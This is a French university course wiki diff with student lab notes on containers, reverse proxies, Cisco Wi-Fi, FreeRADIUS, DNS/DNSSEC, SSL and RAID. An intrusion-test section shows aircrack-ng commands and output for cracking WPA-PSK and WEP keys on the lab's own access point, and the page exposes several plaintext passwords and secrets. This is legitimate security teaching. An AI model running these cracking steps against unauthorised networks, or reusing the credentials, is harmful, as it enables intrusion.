TP sysres IMA5sc 2018/2019 G1 : Différence entre versions
(45 révisions intermédiaires par 3 utilisateurs non affichées) | |||
Ligne 1 : | Ligne 1 : | ||
− | + | ==Séance 1== | |
+ | |||
+ | ===Creation conteneur Unshare=== | ||
export proxy ... | export proxy ... | ||
Ligne 6 : | Ligne 8 : | ||
umount Partition | umount Partition | ||
mount Partition /tmp/pointd'acancrage | mount Partition /tmp/pointd'acancrage | ||
− | + | debootstrap stable --include=vim,apache2 | |
− | unshare -p -f -m -u -n chroot | + | unshare -p -f -m -u -n chroot /tmp/fs[1-3] /bin/sh -c "mount /proc ; /bin/bash" ; |
− | + | ===Configuration switch virtuelle=== | |
Création de deux interfaces liées : | Création de deux interfaces liées : | ||
ip link add vif1 type veth peer name eth0@vif1 | ip link add vif1 type veth peer name eth0@vif1 | ||
− | ip link add | + | ip link add vif2 type veth peer name eth0@vif2 |
− | ip link add | + | ip link add vif3 type veth peer name eth0@vif3 |
− | ip link add | + | ip link add vif4 type veth peer name eth1@vif4 |
Déplacement du pair dans un espace réseau différent : | Déplacement du pair dans un espace réseau différent : | ||
Ligne 29 : | Ligne 31 : | ||
nsenter -t 14601 -n ip address add dev eth0 192.168.0.101/24 | nsenter -t 14601 -n ip address add dev eth0 192.168.0.101/24 | ||
− | nsenter -t 14620 -n ip address add dev eth1 | + | nsenter -t 14620 -n ip address add dev eth1 172.26.145.243/24 |
nsenter -t 14612 -n ip address add dev eth0 192.168.0.102/24 | nsenter -t 14612 -n ip address add dev eth0 192.168.0.102/24 | ||
nsenter -t 14620 -n ip address add dev eth0 192.168.0.103/24 | nsenter -t 14620 -n ip address add dev eth0 192.168.0.103/24 | ||
+ | |||
+ | Routage sur routeur depuis Proxy Inverse: | ||
+ | |||
+ | ip route add default via 172.26.145.254 dev eth1 | ||
brctl show: | brctl show: | ||
Ligne 46 : | Ligne 52 : | ||
ip link set vif1,2,3,4 up | ip link set vif1,2,3,4 up | ||
ip link set vSwtichBanane up | ip link set vSwtichBanane up | ||
+ | ip link set vif4 master bridge | ||
Flush docker: | Flush docker: | ||
Ligne 60 : | Ligne 67 : | ||
64 bytes from 192.168.0.102: icmp_seq=20 ttl=64 time=0.110 ms | 64 bytes from 192.168.0.102: icmp_seq=20 ttl=64 time=0.110 ms | ||
64 bytes from 192.168.0.102: icmp_seq=21 ttl=64 time=0.056 ms | 64 bytes from 192.168.0.102: icmp_seq=21 ttl=64 time=0.056 ms | ||
+ | |||
+ | ===Config Reverse Proxy=== | ||
+ | |||
+ | Import proxy & http_proxy libraries: | ||
+ | |||
+ | a2nmod proxy_http proxy | ||
+ | |||
+ | Dans site-available/000-config.conf: | ||
+ | |||
+ | ProxyPass /site1 http://192.168.0.101/ | ||
+ | ProxyPassReverse /site1 http://192.168.0.101/ | ||
+ | ProxyPass /site2 http://192.168.0.102/ | ||
+ | ProxyPassReverse /site2 http://192.168.0.102/ | ||
+ | ProxyRequests Off | ||
+ | |||
+ | DNS A Record sur gandi.net: | ||
+ | |||
+ | Domain > DNS Record > Type A - Name DC - TTL 1800 - Adress 172.26.145.243 | ||
+ | |||
+ | 10H15 => Serveurs Web OK | ||
+ | |||
+ | ===Installation et configuration Docker=== | ||
+ | |||
+ | docker create -t -i debian bash | ||
+ | docker run -i --network=reseau_docker -t reverse-proxy:version1 | ||
+ | docker commit 85b84891f0ac reverse-proxy:version1 | ||
+ | docker run -p 80:80 -i --network=reseau_docker -t reverse-proxy:version1 -> reverse proxy | ||
+ | |||
+ | 10h20 Serveurs Web (docker) OK | ||
+ | |||
+ | |||
+ | ==Séance 2== | ||
+ | |||
+ | ===Configuration des bornes Wifi=== | ||
+ | |||
+ | ====Tests sur des AP non sécurisés==== | ||
+ | |||
+ | On commence dans un premier temps par mettre un point d'accès non sécurisé pour tester la mise en place de plusieurs AP simultanément: | ||
+ | |||
+ | Création d'un AP de SSID '''test1''': | ||
+ | |||
+ | Enable | ||
+ | Conf t | ||
+ | Dot11 ssid test1 | ||
+ | Vlan 10 | ||
+ | Authentication open | ||
+ | Mbssid Guest-mode | ||
+ | End | ||
+ | |||
+ | Création d'un AP de SSID '''test2''': | ||
+ | |||
+ | Enable | ||
+ | Conf t | ||
+ | Dot11 ssid test2 | ||
+ | Vlan 20 | ||
+ | Authentication open | ||
+ | Mbssid Guest-mode | ||
+ | End | ||
+ | |||
+ | On relie les SSID à l'interface wifi '''dot11Radio0''': | ||
+ | |||
+ | Enable | ||
+ | Conf t | ||
+ | int dot11radio0 | ||
+ | Mbssid // permet d'avoir plusieur SSID en guest-mode | ||
+ | ssid test1 | ||
+ | ssid test2 | ||
+ | |||
+ | Encapsulation des vlans dans l'interface '''dot11radio0''': | ||
+ | |||
+ | Enable | ||
+ | Conf t | ||
+ | int dot11radio0.10 | ||
+ | encapsulation dot1Q 10 | ||
+ | |||
+ | Enable | ||
+ | Conf t | ||
+ | int dot11radio0.20 | ||
+ | encapsulation dot1Q 20 | ||
+ | |||
+ | |||
+ | Pour plus de détail: [[Fichier: Config_APCisco.txt ]] | ||
+ | |||
+ | ====Sécurisation des AP en WPA2-EAP==== | ||
+ | |||
+ | Nous avons commencé durant cette séance à tester la sécurisation des AP en WPA2-EAP | ||
+ | |||
+ | Enable | ||
+ | Conf t | ||
+ | dot11 ssid <nom_ssid> | ||
+ | authentication network-eap eap_methods | ||
+ | authentication key-management wpa | ||
+ | |||
+ | Enable | ||
+ | Conf t | ||
+ | int dot11radio0 | ||
+ | encryption vlan 10 mode ciphers tkip | ||
+ | encryption vlan 20 mode ciphers tkip | ||
+ | |||
+ | |||
+ | ===Création VM=== | ||
+ | |||
+ | Creation Vm: | ||
+ | |||
+ | xen-create-image --hostname=thot \ | ||
+ | --memory=256mb \ | ||
+ | --vcpus=1 \ | ||
+ | --dir=/usr/local/xen \ | ||
+ | --ip=193.48.57.177 \ | ||
+ | --netmask=255.255.255.240 \ | ||
+ | --dist=stable \ | ||
+ | --size=10Gb \ | ||
+ | --swap=128mb | ||
+ | |||
+ | ps: 7Jb7J8tqfRrPGe6S2RHJJb4 | ||
+ | |||
+ | ==Séance 3== | ||
+ | |||
+ | ===Mise en place d'un serveur freeradius=== | ||
+ | |||
+ | '''Installation:''' | ||
+ | |||
+ | apt-get install freeradius | ||
+ | |||
+ | '''Configuration:''' | ||
+ | |||
+ | Création d'un utilisateur thot:glopglop | ||
+ | |||
+ | # Dans le fichier /etc/freeradius/3.0/users: | ||
+ | thot Cleartext-Password := "glopglop" | ||
+ | |||
+ | Configuration de freeradius PEAP-MSCHAPv2: | ||
+ | |||
+ | # fichier /etc/freeradius/3.0/mods-enabled/eap.conf: | ||
+ | default_eap_type = peap | ||
+ | |||
+ | # fichier /etc/freeradius/mods-enabled/mschap | ||
+ | use_mppe = yes | ||
+ | require_encryption = yes | ||
+ | require_strong = yes | ||
+ | with_ntdomain_hack = yes | ||
+ | |||
+ | On recharge les librairies grâce à la commande suivante: | ||
+ | |||
+ | ldconfig | ||
+ | |||
+ | On configure la borne WiFi pour lui donner une adresse IP ainsi qu'une route par défaut: | ||
+ | |||
+ | enable | ||
+ | conf t | ||
+ | int bvi1 | ||
+ | ip address 192.168.0.10 255.255.255.0 | ||
+ | end | ||
+ | |||
+ | enable | ||
+ | conf t | ||
+ | ip default-gateway 192.168.0.254 | ||
+ | end | ||
+ | |||
+ | On ajoute le client, c'est à dire le point d'accès, dans le fichier clients de freeradius: | ||
+ | |||
+ | client 192.168.0.10/32 | ||
+ | { | ||
+ | secret = secretIMA5SC | ||
+ | shortname = borneDivinite | ||
+ | } | ||
+ | |||
+ | ===Sécurisation Wifi par WPA2-EAP=== | ||
+ | |||
+ | On poursuit ensuite la mise en places des AP en configurant reliant la borne pour qu'elle puisse envoyer des requêtes au serveur freeradius de chaque binomes lors d'une authentification: | ||
+ | |||
+ | '''Les méthodes suivantes sont données à titre d'exemple pour la VM thot et devront être reproduite pour chaque AP:''' | ||
+ | |||
+ | Activation de la fonction 'aaa' et Création des entitées radius_goup (donnant des infos sur le serveur freeradius) et eap_group (liste contenant les méthodes d'authentification, ici eap) pour chaque binômes: | ||
+ | |||
+ | enable | ||
+ | conf t | ||
+ | aaa new-model | ||
+ | aaa authentication login eap_group11 group radius_group11 | ||
+ | aaa group server radius radius_group11 | ||
+ | server 193.48.57.177 auth-port 1812 acct-port 1813 | ||
+ | radius-server host 193.48.57.177 auth-port 1812 acct-port 1813 key secretIMA5SC | ||
+ | end | ||
+ | |||
+ | Mise en place du ssid 'thot' et intégration dans la vlan 11: | ||
+ | |||
+ | enable | ||
+ | conf t | ||
+ | dot11 ssid Thot | ||
+ | vlan 11 | ||
+ | authentication open eap eap_group11 | ||
+ | authentication network-eap eap_group11 | ||
+ | authentication key-management wpa | ||
+ | Mbssid Guest-mode | ||
+ | end | ||
+ | |||
+ | Liaison interface wifi dot11radio0 avec la vlan et méthode encryption: | ||
+ | |||
+ | Enable | ||
+ | Conf t | ||
+ | int dot11radio0 | ||
+ | Mbssid | ||
+ | ssid Thot | ||
+ | encryption vlan 11 mode ciphers aes-ccm tkip | ||
+ | |||
+ | Encapsulation: | ||
+ | |||
+ | Enable | ||
+ | Conf t | ||
+ | int dot11radio0.11 | ||
+ | encapsulation dot1Q 11 | ||
+ | end | ||
+ | |||
+ | ===Configuration du serveur DNS sur notre VM=== | ||
+ | |||
+ | ====Configuration de Bind9==== | ||
+ | |||
+ | Nous avons installé les paquets <code>bind9</code> et <code>apache2</code>c afin de mettre en place notre serveur DNS et notre serveur web. Nous avons ensuite modifié la page <code>index.html</code> situé dans le répertoire | ||
+ | /var/www/html/ | ||
+ | avec un extrait de la page Wikipedia à propos du dieu Thot. | ||
+ | |||
+ | Nous avons acheté le nom de domaine <code>thotplil.space</code> sur le site <code>gandi.net</code>. | ||
+ | |||
+ | Nous avons ensuite configuré <code>bind</code> en créant le fichier <code>db.thotplil.space</code> dans le dossier <code>/etc/bind/</code> | ||
+ | @ IN SOA ns.thotplil.space. root.thotplil.space ( | ||
+ | 2 ; Serial | ||
+ | 604800 ; Refresh | ||
+ | 86400 ; Retry | ||
+ | 2419200 ; Expire | ||
+ | 604800 ) ; Negative Cache TTL | ||
+ | ; | ||
+ | |||
+ | IN NS ns.thotplil.space. | ||
+ | IN NS ns6.gandi.net. | ||
+ | @ IN A 193.48.57.177 | ||
+ | ns IN A 193.48.57.177 | ||
+ | www IN A 193.48.57.177 | ||
+ | |||
+ | |||
+ | Nous avons spécifié la zone dans le fichier <code>named.conf.local</code>: | ||
+ | |||
+ | zone "thotplil.space" { | ||
+ | type master; | ||
+ | file "/etc/bind/db.thotplil.space"; | ||
+ | allow-transfer {217.70.177.40;}; | ||
+ | notify no; | ||
+ | }; | ||
+ | |||
+ | ====Configuration Gandi.net==== | ||
+ | |||
+ | Nous sommes allez sur <code>gandi.net --> Domains --> Glue Record</code> pour y ajouter notre espace de nom (namespace) <code>thotplil.space</code> et notre IP. | ||
+ | |||
+ | Nous avons ajouté sur gandi notre DNS principal et notre DNS secondaire dans <code>gandi.net --> Domains --> Nameservers</code> avec : | ||
+ | *DNS1 : ns.thotplil.space | ||
+ | *DNS2 : ns6.gandi.net | ||
+ | |||
+ | ====Sécurisation de notre serveur web par certificat SSL==== | ||
+ | |||
+ | Nous avons commencé par générer un certificate request grâce à la commande suivante: | ||
+ | |||
+ | openssl req -nodes -newkey rsa:2048 -sha1 -keyout thotplil.space.key -out thotplil.space.csr | ||
+ | |||
+ | Nous avons ensuite acheté sur gandi.net un certificat SSL en indiquant le code généré et placé le fichier obtenu dans le répertoire suivant: <code>/var/www/html/.well-known/pki-validation</code>. | ||
+ | |||
+ | Le certificat ainsi que le fichier .pem sont ensuite téléchargé et placé dans le répertoire suivant: <code>/etc/ssl/certs</code>. | ||
+ | Le fichier .key précédemment généré se place quant à lui dans le répertoire <code>/etc/ssl/private</code> | ||
+ | |||
+ | On créer un fichier de configuration <code>/etc/apache2/sites-available/000-thotplil.space-ssl.conf</code>: | ||
+ | |||
+ | <VirtualHost 193.48.57.177:443> | ||
+ | ServerName www.thotplil.space | ||
+ | ServerAlias thotplil.space | ||
+ | DocumentRoot /var/www/html/ | ||
+ | CustomLog /var/log/apache2/secure_acces.log combined | ||
+ | SSLEngine on | ||
+ | SSLCertificateFile /etc/ssl/certs/thotplil.space.crt | ||
+ | SSLCertificateKeyFile /etc/ssl/private/thotplil.space.key | ||
+ | SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem | ||
+ | SSLVerifyClient None | ||
+ | </VirtualHost> | ||
+ | |||
+ | <VirtualHost 193.48.57.182:80> | ||
+ | ServerName www.thotplil.space | ||
+ | ServerAlias thotplil.space | ||
+ | Redirect / https://thotplil.space | ||
+ | </VirtualHost> | ||
+ | |||
+ | On active la configuration du site: | ||
+ | |||
+ | a2enmod ssl | ||
+ | a2ensite 000-thotplil.space-ssl.conf | ||
+ | service apache2 restart | ||
+ | |||
+ | |||
+ | Connexion au site en https: | ||
+ | |||
+ | [[Fichier:Https.png]] | ||
+ | |||
+ | ====Mise en place du DNSSEC==== | ||
+ | |||
+ | Modification dans le fichier <code>named.conf.options</code>: | ||
+ | |||
+ | dnssec-validation auto; | ||
+ | dnssec-enable yes; | ||
+ | |||
+ | On génère ensuite deux paires de clés ZSK et KSK: | ||
+ | |||
+ | dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE thotplil.space | ||
+ | dnssec-keygen -a RSASHA1 -b 1024 -n ZONE thotplil.space | ||
+ | |||
+ | On inclut ensuite les clés dans le fichier <code>/etc/bind/db.thotplil.space</code>: | ||
+ | |||
+ | $include /etc/bind/thotplil.space.dnssec/thotplil.space-ksk.key | ||
+ | $include /etc/bind/thotplil.space.dnssec/thotplil.space-zsk.key | ||
+ | |||
+ | On prend soin de mettre <code>$TTL 604800</code> au début du fichier. | ||
+ | |||
+ | On signe enfin la zone avec les clés ZSK et KSK: | ||
+ | |||
+ | dnssec-signzone -o thotplil.space -k thotplil.space-ksk ../db.thotplil.space thot.space-zsk | ||
+ | |||
+ | On renseigne ensuite les clés signé sur gandi.net -> Domains -> thotplil.space -> DNSSEC | ||
+ | |||
+ | ===Tests d’intrusion=== | ||
+ | |||
+ | Dans cette section nous allons tester différentes méthodes de sécurisations | ||
+ | |||
+ | ====Cassage de mot de passe WPA-PSK par force brute==== | ||
+ | |||
+ | Nous avons utilisé les outils du paquetage '''aircrack-ng''' pour capturer des paquets d'identifications. | ||
+ | |||
+ | Notre point d'accès est '''cracotte01'''. | ||
+ | |||
+ | Il faut tout d'abord mettre la carte réseau wifi de notre machine de travail en mode écoute, cela est fait grâce à la commande : | ||
+ | airmon-ng start wlp2s0 | ||
+ | avec wlp2s0 le nom de l'interface réseau wifi de notre machine. | ||
+ | |||
+ | Cela "supprime" notre interface wlp2s0 et en créé une autre nommé wlp2s0mon. | ||
+ | |||
+ | En utilisant la commande | ||
+ | airodump-ng wlp2s0mon | ||
+ | |||
+ | on trouve l'adresse MAC de notre point d'accès cracotte01 : | ||
+ | |||
+ | <importimage> | ||
+ | |||
+ | On capture ensuite les paquets de handshake voulu grâce à la commande | ||
+ | airodump-ng wlp2s0mon --channel 9 --bssid 04:DA:D:9C:50:50 --write capture | ||
+ | |||
+ | Une fois le paquet capturé, on peut attaquer grâce à un simple brute force par dictionnaire. | ||
+ | |||
+ | On suppose que la clé est composé de 8 chiffres, on créé donc un document dico.txt contenant toutes les combinaisons de 8 chiffres possibles. | ||
+ | |||
+ | On lance ensuite la commande | ||
+ | aircrack-ng capture.cap -w dico.txt | ||
+ | |||
+ | On obtient finalement le résultat suivant: | ||
+ | |||
+ | Time left: 2 hours, 5 minutes, 55 seconds 41.28% | ||
+ | |||
+ | KEY FOUND! [ 42429901 ] | ||
+ | |||
+ | |||
+ | Master Key : 11 6A 5E CD 2B 05 7B 1E 5A 3D A0 35 83 6E 25 28 | ||
+ | 00 82 6D 3D 4F E7 13 ED 90 67 1C ED 8D 49 EC 6B | ||
+ | |||
+ | Transient Key : B6 52 3A 23 86 D0 32 90 BD 95 E4 E8 ED B6 0F 3C | ||
+ | D7 7A 7D 3A D9 07 AB 0F BE 97 59 F3 81 9E B9 E8 | ||
+ | 0F 5D 8B 27 1B DA 39 FC E9 2F 82 B2 61 D3 C2 CE | ||
+ | 85 02 D9 25 3C E1 BB 7A 58 18 7E 26 EC F3 25 F5 | ||
+ | |||
+ | EAPOL HMAC : 38 E3 C5 40 0F 0F 52 23 BD 8D 12 A8 32 3E 14 B7 | ||
+ | |||
+ | ===Cassage de mot de passe WEP=== | ||
+ | |||
+ | Le cassage de clé WEP s'effectue d'une manière similaire. | ||
+ | On capture les paquets grâce à la commande suivante : | ||
+ | |||
+ | sudo airodump-ng --bssid 04:DA:D2:9C:50:50 --ch 12 --write wepcassage wlp2s0mon | ||
+ | |||
+ | On simule des paquets d'authentifications avec la commandes | ||
+ | |||
+ | sudo aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:50 wlp2s0mon | ||
+ | |||
+ | On vérifie que l'on areçu des données avec | ||
+ | |||
+ | sudo aireplay-ng --fragment -b 04:DA:D2:9C:50:50 -r wepcassage-04.cap wlp2s0mon | ||
+ | |||
+ | Si des données on été capturés, on peut casser la clé très rapidement avec | ||
+ | |||
+ | sudo aircrack-ng wepcassage-04.cap | ||
+ | |||
+ | On obtient le résulat suivant : | ||
+ | |||
+ | [00:00:00] Tested 577 keys (got 40557 IVs) | ||
+ | |||
+ | KB depth byte(vote) | ||
+ | 0 1/ 2 3F(50944) BF(48128) 2F(47360) DB(47104) 22(46848) 74(46848) 99(46848) | ||
+ | 1 8/ 1 09(46336) 2F(46080) 36(45824) 5C(45824) BC(45824) 2D(45056) 5D(45056) | ||
+ | 2 3/ 2 DD(48128) 03(46592) 2A(46336) 7E(46336) 34(45824) 68(45824) 0E(45568) | ||
+ | 3 1/ 4 C2(49408) 62(47616) 96(47616) A7(47360) 4C(47104) FD(46592) 40(46336) | ||
+ | 4 2/ 7 87(48128) 8E(47872) 9D(47872) AB(47872) 88(47616) 7F(47360) 15(47104) | ||
+ | |||
+ | KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:E4:44:44:44:44 ] | ||
+ | Decrypted correctly: 100% | ||
+ | |||
+ | ==Séance 4== | ||
+ | |||
+ | ===Création des partitions virtuelles=== | ||
+ | |||
+ | On commence par créer des partitions virtuelles pour les fichier /home et /var sur cordouan: | ||
+ | |||
+ | lvcreate -L10G -n thot-home virtual | ||
+ | lvcreate -L10G -n thot-var virtual | ||
+ | |||
+ | On créé ensuite les partitions pour le RAID5 | ||
+ | |||
+ | lvcreate -L10G -n thot-part1 virtual | ||
+ | lvcreate -L10G -n thot-part2 virtual | ||
+ | lvcreate -L10G -n thot-part3 virtual | ||
+ | |||
+ | |||
+ | On modifie ensuite le fichier de configuration de la VM: | ||
+ | |||
+ | disk = [ | ||
+ | 'file:/usr/local/xen/domains/thot/disk.img,xvda2,w', | ||
+ | 'file:/usr/local/xen/domains/thot/swap.img,xvda1,w', | ||
+ | 'phy:/dev/virtual/thot-home,xvdb1,w', | ||
+ | 'phy:/dev/virtual/thot-var,xvdc1,w', | ||
+ | 'phy:/dev/virtual/thot-part1,xvdd1,w', | ||
+ | 'phy:/dev/virtual/thot-part2,xvde1,w', | ||
+ | 'phy:/dev/virtual/thot-part3,xvdf1,w' | ||
+ | ] | ||
+ | |||
+ | ===Migration=== | ||
+ | |||
+ | On entreprend ensuite de migrer les dossier /var et /home dans les partitions nouvellement créées | ||
+ | |||
+ | Sur la VM, on créer un système de fichier sur /dev/xvdb1 et /dev/xvdc1 | ||
+ | |||
+ | mkfs -t ext4 /dev/xvdb1 | ||
+ | mkfs -t ext4 /dev/xvdc1 | ||
+ | |||
+ | Dans /etc/fstab, on modifie directement le point d'ancrage du fichier /home, étant donné que ce dernier est vide: | ||
+ | |||
+ | /dev/xvdb1 /home ext4 defaults 0 2 | ||
+ | |||
+ | Pour migrer le var, il va être nécessaire creer un point d'ancrage temporaire: | ||
+ | |||
+ | mkdir /mnt_var | ||
+ | mount /dev/xvdc1 /mnt_var | ||
+ | |||
+ | On tranfère me contenu du dossier var dans la nouvelle partition: | ||
+ | |||
+ | cd /var | ||
+ | cp -ax * /mnt_var | ||
+ | |||
+ | On fait ensuite une backup l'ancien dossier var, et on recréer un point de montage sur la nouvelle partition: | ||
+ | |||
+ | mkdir /var | ||
+ | umount /dev/xvdc1 | ||
+ | mount /dev/xvdc1 /var | ||
+ | |||
+ | Une fois cette étape terminé, on ajoute le nouveau point d'ancrage de /var dans /etc/fstab: | ||
+ | |||
+ | /dev/xvdc1 /var ext4 defaults 0 0 | ||
+ | |||
+ | Enfin, on supprime les dossier /mnt_var /var.old. | ||
+ | |||
+ | ===Mise en place du RAID=== | ||
+ | |||
+ | Nous allons maintenant mettre en place un RAID5 logiciel avec les 3 partitons /dev/xvdd1, /dev/xvde1, et /dev/xvdf1. | ||
+ | |||
+ | On utilisera l'outil mdadm. | ||
+ | |||
+ | Création du raid5 sur /dev/md0: | ||
+ | |||
+ | mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd1 /dev/xvde1 /dev/xvdf1 | ||
+ | |||
+ | Création d'un filesystem ans la nouvelle partition raid : | ||
+ | |||
+ | mkfs -t ext4 /dev/md0 | ||
+ | |||
+ | Puis on monte cette partition : | ||
+ | |||
+ | mkdir /mnt_raid5 | ||
+ | mount /dev/md0 /raid5 | ||
+ | |||
+ | On utilise la commande suivante pour automatiser la création de la grappe : | ||
+ | |||
+ | mdadm --monitor --daemonise /dev/md0 | ||
+ | |||
+ | On ajoute ensuite la ligne suivante pour automatiser l'ancrage de la partition md0 sur /raid5 | ||
+ | |||
+ | /dev/md0 /raid5/ ext4 defaults 0 1 | ||
+ | |||
+ | A la suite d'une erreur survenu après un reboot de la machine, nous nous sommes apercu que la partition md0 a été renommé md127, on a donc modifé dans /etc/fstab: | ||
+ | |||
+ | /dev/md127 /raid5/ ext4 defaults 0 1 | ||
+ | |||
+ | Par la suite, nous avons enregistré la configuration de du raid en lançant la commande suivante: | ||
+ | |||
+ | mdadm -Es >> /etc/mdadm.conf |
Version actuelle datée du 1 janvier 2019 à 12:58
Sommaire
Séance 1
export proxy ... dd if=/dev/zero of= bs=1024k count=10240 mkfs Partition umount Partition mount Partition /tmp/pointd'acancrage debootstrap stable --include=vim,apache2
unshare -p -f -m -u -n chroot /tmp/fs[1-3] /bin/sh -c "mount /proc ; /bin/bash" ;
Configuration switch virtuelle
Création de deux interfaces liées :
ip link add vif1 type veth peer name eth0@vif1 ip link add vif2 type veth peer name eth0@vif2 ip link add vif3 type veth peer name eth0@vif3 ip link add vif4 type veth peer name eth1@vif4
Déplacement du pair dans un espace réseau différent :
ip link set eth0@vif1 netns /proc/14601/ns/net name eth0 ip link set eth0@vif2 netns /proc/14612/ns/net name eth0 ip link set eth0@vif3 netns /proc/14620/ns/net name eth0 ip link set eth1@vif4 netns /proc/14620/ns/net name eth1
Configuration réseau dans l’espace alternatif :
nsenter -t 14601 -n ip address add dev eth0 192.168.0.101/24 nsenter -t 14620 -n ip address add dev eth1 172.26.145.243/24 nsenter -t 14612 -n ip address add dev eth0 192.168.0.102/24 nsenter -t 14620 -n ip address add dev eth0 192.168.0.103/24
Routage sur routeur depuis Proxy Inverse:
ip route add default via 172.26.145.254 dev eth1
brctl show:
bridge name bridge id STP enabled interfaces br-50de43cf6b72 8000.024270463a85 no br-9964383bb7d2 8000.0242c526b998 no bridge 8000.00224d7af070 no eth0 eth1 vif4 docker0 8000.0242e82e829c no veth5fcd2d1 vSwitchBanane 8000.3299e99137df no vif1 vif2 vif3
Activation:
ip link set vif1,2,3,4 up ip link set vSwtichBanane up ip link set vif4 master bridge
Flush docker:
iptables -F iptables -F -t nat iptables -P FORWARD ACCEPT
Ping reverse proxy vers conteneur2:
root@zabeth08:/# ping 192.168.0.102 PING 192.168.0.102 (192.168.0.102) 56(84) bytes of data. 64 bytes from 192.168.0.102: icmp_seq=19 ttl=64 time=1024 ms 64 bytes from 192.168.0.102: icmp_seq=20 ttl=64 time=0.110 ms 64 bytes from 192.168.0.102: icmp_seq=21 ttl=64 time=0.056 ms
Config Reverse Proxy
Import proxy & http_proxy libraries:
a2nmod proxy_http proxy
Dans site-available/000-config.conf:
ProxyPass /site1 http://192.168.0.101/ ProxyPassReverse /site1 http://192.168.0.101/ ProxyPass /site2 http://192.168.0.102/ ProxyPassReverse /site2 http://192.168.0.102/ ProxyRequests Off
DNS A Record sur gandi.net:
Domain > DNS Record > Type A - Name DC - TTL 1800 - Adress 172.26.145.243
10H15 => Serveurs Web OK
Installation et configuration Docker
docker create -t -i debian bash docker run -i --network=reseau_docker -t reverse-proxy:version1 docker commit 85b84891f0ac reverse-proxy:version1 docker run -p 80:80 -i --network=reseau_docker -t reverse-proxy:version1 -> reverse proxy
10h20 Serveurs Web (docker) OK
Séance 2
Configuration des bornes Wifi
Tests sur des AP non sécurisés
On commence dans un premier temps par mettre un point d'accès non sécurisé pour tester la mise en place de plusieurs AP simultanément:
Création d'un AP de SSID test1:
Enable Conf t Dot11 ssid test1 Vlan 10 Authentication open Mbssid Guest-mode End
Création d'un AP de SSID test2:
Enable Conf t Dot11 ssid test2 Vlan 20 Authentication open Mbssid Guest-mode End
On relie les SSID à l'interface wifi dot11Radio0:
Enable Conf t int dot11radio0 Mbssid // permet d'avoir plusieur SSID en guest-mode ssid test1 ssid test2
Encapsulation des vlans dans l'interface dot11radio0:
Enable Conf t int dot11radio0.10 encapsulation dot1Q 10
Enable Conf t int dot11radio0.20 encapsulation dot1Q 20
Pour plus de détail: Fichier:Config APCisco.txt
Sécurisation des AP en WPA2-EAP
Nous avons commencé durant cette séance à tester la sécurisation des AP en WPA2-EAP
Enable Conf t dot11 ssid <nom_ssid> authentication network-eap eap_methods authentication key-management wpa
Enable Conf t int dot11radio0 encryption vlan 10 mode ciphers tkip encryption vlan 20 mode ciphers tkip
Création VM
Creation Vm:
xen-create-image --hostname=thot \ --memory=256mb \ --vcpus=1 \ --dir=/usr/local/xen \ --ip=193.48.57.177 \ --netmask=255.255.255.240 \ --dist=stable \ --size=10Gb \ --swap=128mb
ps: 7Jb7J8tqfRrPGe6S2RHJJb4
Séance 3
Mise en place d'un serveur freeradius
Installation:
apt-get install freeradius
Configuration:
Création d'un utilisateur thot:glopglop
# Dans le fichier /etc/freeradius/3.0/users: thot Cleartext-Password := "glopglop"
Configuration de freeradius PEAP-MSCHAPv2:
# fichier /etc/freeradius/3.0/mods-enabled/eap.conf: default_eap_type = peap
# fichier /etc/freeradius/mods-enabled/mschap use_mppe = yes require_encryption = yes require_strong = yes with_ntdomain_hack = yes
On recharge les librairies grâce à la commande suivante:
ldconfig
On configure la borne WiFi pour lui donner une adresse IP ainsi qu'une route par défaut:
enable conf t int bvi1 ip address 192.168.0.10 255.255.255.0 end
enable conf t ip default-gateway 192.168.0.254 end
On ajoute le client, c'est à dire le point d'accès, dans le fichier clients de freeradius:
client 192.168.0.10/32 { secret = secretIMA5SC shortname = borneDivinite }
Sécurisation Wifi par WPA2-EAP
On poursuit ensuite la mise en places des AP en configurant reliant la borne pour qu'elle puisse envoyer des requêtes au serveur freeradius de chaque binomes lors d'une authentification:
Les méthodes suivantes sont données à titre d'exemple pour la VM thot et devront être reproduite pour chaque AP:
Activation de la fonction 'aaa' et Création des entitées radius_goup (donnant des infos sur le serveur freeradius) et eap_group (liste contenant les méthodes d'authentification, ici eap) pour chaque binômes:
enable conf t aaa new-model aaa authentication login eap_group11 group radius_group11 aaa group server radius radius_group11 server 193.48.57.177 auth-port 1812 acct-port 1813 radius-server host 193.48.57.177 auth-port 1812 acct-port 1813 key secretIMA5SC end
Mise en place du ssid 'thot' et intégration dans la vlan 11:
enable conf t dot11 ssid Thot vlan 11 authentication open eap eap_group11 authentication network-eap eap_group11 authentication key-management wpa Mbssid Guest-mode end
Liaison interface wifi dot11radio0 avec la vlan et méthode encryption:
Enable Conf t int dot11radio0 Mbssid ssid Thot encryption vlan 11 mode ciphers aes-ccm tkip
Encapsulation:
Enable Conf t int dot11radio0.11 encapsulation dot1Q 11 end
Configuration du serveur DNS sur notre VM
Configuration de Bind9
Nous avons installé les paquets bind9
et apache2
c afin de mettre en place notre serveur DNS et notre serveur web. Nous avons ensuite modifié la page index.html
situé dans le répertoire
/var/www/html/
avec un extrait de la page Wikipedia à propos du dieu Thot.
Nous avons acheté le nom de domaine thotplil.space
sur le site gandi.net
.
Nous avons ensuite configuré bind
en créant le fichier db.thotplil.space
dans le dossier /etc/bind/
@ IN SOA ns.thotplil.space. root.thotplil.space ( 2 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; IN NS ns.thotplil.space. IN NS ns6.gandi.net. @ IN A 193.48.57.177 ns IN A 193.48.57.177 www IN A 193.48.57.177
Nous avons spécifié la zone dans le fichier named.conf.local
:
zone "thotplil.space" { type master; file "/etc/bind/db.thotplil.space"; allow-transfer {217.70.177.40;}; notify no; };
Configuration Gandi.net
Nous sommes allez sur gandi.net --> Domains --> Glue Record
pour y ajouter notre espace de nom (namespace) thotplil.space
et notre IP.
Nous avons ajouté sur gandi notre DNS principal et notre DNS secondaire dans gandi.net --> Domains --> Nameservers
avec :
- DNS1 : ns.thotplil.space
- DNS2 : ns6.gandi.net
Sécurisation de notre serveur web par certificat SSL
Nous avons commencé par générer un certificate request grâce à la commande suivante:
openssl req -nodes -newkey rsa:2048 -sha1 -keyout thotplil.space.key -out thotplil.space.csr
